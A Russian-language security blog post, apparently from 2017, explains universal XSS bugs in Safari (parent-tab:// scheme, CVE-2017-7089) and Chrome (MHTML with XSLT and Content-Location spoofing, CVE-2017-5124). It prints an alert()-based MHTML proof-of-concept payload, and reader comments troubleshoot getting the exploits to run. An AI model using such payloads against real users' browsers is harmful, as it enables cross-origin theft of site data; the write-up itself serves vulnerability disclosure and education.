Привет! Помимо уязвимостей клиентской части веб-приложений опасность представляют и само клиентское ПО. Нет, речь даже не о java или flash, а о самих браузерах.
Хочу показать тебе примеры двух браузеров-конкурентов с уязвимостью UXSS (Universal Cross-site Scripting), один из которых с закрытым исходным кодом, а другой с открытым. UXSS — это ошибка в логике работы браузера, благодаря которой злоумышленник может выполнить javascript сценарий в рамках произвольного сайта. Грубо говоря — сделать XSS там, где ее нет.
Safari
Что я могу сказать хорошего о Safari? Это простой и легковесный браузер, в котором нет ничего лишнего. Это правда самый быстрый браузер который мне довелось использовать. Что плохого? Ну… Он странный.
Возможно, ты уже читал мою статью о чтении локальных файлов с помощью браузера. Если коротко — открыв следующий html файл в Safari он прочитает локальные файлы и попытается слить личные документы, в рамках PoC — на свою же локальную машину (в консоли разработчика ты увидишь ошибки).
А еще функции в консоли выполняются в момент ее написания, жуть!
А вот что ты слышал о псевдорасширении parent-tab://? Да ничего, лишь пара упоминаний. Однако в Safari он присутствует.
Примечательно, что до 11 версии (уже) parent-tab имеет все те же привилегии для доступа к объектам домена, например к cookie.
А еще круче — в него можно писать. Вот создаешь локальный html, пишешь <iframe> с parent-tab и js’ом записываешь произвольное содержимое! Так рождается первый эксплойт, где в parent-tab.html — редирект на parent-tab://+domain
Однако, его нельзя вызвать с другого сайта, что немного огорчает. Локальные эксплойты не так весело (ну чтение файлов веселее).
Тут на помощь пришел Frans Rosén, который выяснил, что записать свою полезную нагрузку можно также с помощью window.open с аргументом _top. Вжух — и мы получаем доступ к данным сайта.
Но оказалось, эта бага в WebKit, поэтому, возможно, применима и к Chrome. Примеры эксплойта на CVE-2017-7089 ждет тебя на github.
Chrome
Хром более защищенный браузер. Наверное. Все таки это браузер с открытым исходным кодом. Между тем, несмотря на современность — в нем до сих пор поддерживаются старые вещи, например поддержка древнегреческого формата MHTML (MIME-HTML).
Что из себя представляет данный формат? Это текстовый документ, в котором прописан заголовок, тип контента (Content-Type: multipart/related) и разделитель контента (boundary). Да-да, multipart в файле. Дальше следуют дополнительные параметры, типа кодировки (может быть base64).
Ну проще один раз увидеть.
Так вот, к файлу можно написать атрибут Content-location, а потом обратиться к нему в самом html.
Например, пишем Content-location: /abc, содержимое файла. И вызываем <img src=/abc>. А можно написать Content-location: https://example.com/abc, и загрузить <img src=https://example.com/abc>
Если это изображение — то оно появится на странице при попытке открыть данный файл.
Все бы ничего, но javascript в нем запрещен. Вообще.
Но и тут находится одно «но». Везде, кроме XSLT.
Объявляем content-type: application/xml, вставляем XSLT, получаем alert():
MIME-Version: 1.0
Content-Type: multipart/related;
type="text/html";
boundary="----MultipartBoundary--"------MultipartBoundary--
Content-Type: application/xml;
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>
]>
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="*">
<html><script>alert()</script></html>
</xsl:template>
</xsl:stylesheet>
------MultipartBoundary----
Ну и как ты уже догадался, в таком документе мы можем написать Content-location: https://example.com и вызвать javascript оттуда, обойдя песочницу вопреки всем законам SOP. Добавляем к предыдущему файлу следующий файл и вместо alert вызываем его в фрейме.
------MultipartBoundary--
Content-Type: text/html
Content-Location: https://google.com<script>alert('Location origin: '+location.origin)</script>
Для открытия MHTML нужно вернуть в ответе от сервера тип контента multipart/related, в итоге построится следующее DOM-дерево:
В хроме внесен соответствующий патч (благодаря которой был найден эксплойт). Плюсы — открытый исходный код позволяет наблюдать за всеми внесенными изменениями. Минусы точно такие же.
Демонстрация эксплойта по следующей ссылке (Chrome < 62), исходники CVE-2017-5124 на github.
Вывод
Какой-такой вывод? Ну будь аккуратнее, обновляй ПО для минимизации рисков, но ты это слышал уже тысячу раз. Что-то нового я тебе сказать не могу 🙂
Hello! I’ve translated this article to English: https://securityespresso.org/translations/2017/11/14/chrome-and-safari-uxss/
PS: The last link in the article is pointing to the wrong repo (CVE-2017-7089 instead of CVE-2017-5124).
Thx u!
Почему он не работает на моем сервере? .mht файлы не работают? или мне нужно настроить свой сервер?
Дело в Content-Type, посмотри какой я отдаю с помощью php
У меня стоит «Content-Type:multipart/related», но всё равно не работает.
Ошибка: Malformed multipart archive
Версия хрома: 60
i have some problem, it is show «Malformed multipart archive»
I can’t get the Safari UXSS (CVE-2017-7089) to work on any Safari version, tried iOS emulators for iOS 10, 10.1, 10.2, 10.3, 9, 8.
Also tried real devices on browserstack.com with safari versions 10, 10.1 and lower.
I keep getting the following error alert:
https://imgur.com/a/y3uEY
Any idea why?
Only MacOs